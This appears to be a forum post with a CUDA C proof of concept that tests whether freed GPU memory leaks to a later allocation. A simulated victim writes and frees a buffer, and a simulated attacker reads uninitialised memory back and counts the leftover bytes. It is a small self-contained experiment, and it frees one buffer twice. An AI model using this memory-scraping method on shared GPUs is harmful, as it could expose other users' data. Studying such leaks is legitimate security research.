Trying to leak data from GPU kernel/memory using CUDA

kernel.cu

#include<stdio.h>
#include<malloc.h>
#include <cuda_runtime.h>
#include<time.h>
#include<Windows.h>
#include<math.h>
#define SIZE pow(10,9)


int main()
{

	unsigned char* a, * b;
	cudaError_t e;
	size_t free, total;
	cudaMemGetInfo(&free, &total);
	printf("Total memory: %d MB\n", (int)(total / pow(10, 6)));
	printf("Free at initial state: %d MB\n", (int)(free / pow(10, 6)));


	//alloc array
	e = cudaMalloc(&a, SIZE * sizeof(unsigned char));

	//init with 0xff
	cudaMemset(a, 255, SIZE);

	//free array
	cudaFree(a);
	//victim ends



	//attacker
	long aSize = free / 2;

	//alloc all of the memory
	e = cudaMalloc(&b, aSize);


	//copy to cpu
	unsigned char* onCPU = (unsigned char*)malloc(aSize);
	e = cudaMemcpy(onCPU, b, aSize, cudaMemcpyDeviceToHost);
	cudaDeviceSynchronize();


	//analize data
	long max = 0, seq = 0, ones = 0, zeros = 0, other = 0;
	for (long i = 0; i < (aSize); i++)
	{
		if (onCPU[i] == 255)
		{
			ones++;
			seq++;
		}
		else if (onCPU[i] == 0)
		{
			seq = 0;
			zeros++;
		}
		else
		{
			seq = 0;
			other++;
		}

		if (seq > max)
			max = seq;
	}

	printf("max_seq: %ld, ones: %ld, zeros: %ld, other: %ld\n", max, ones, zeros, other);
	cudaFree(a);


}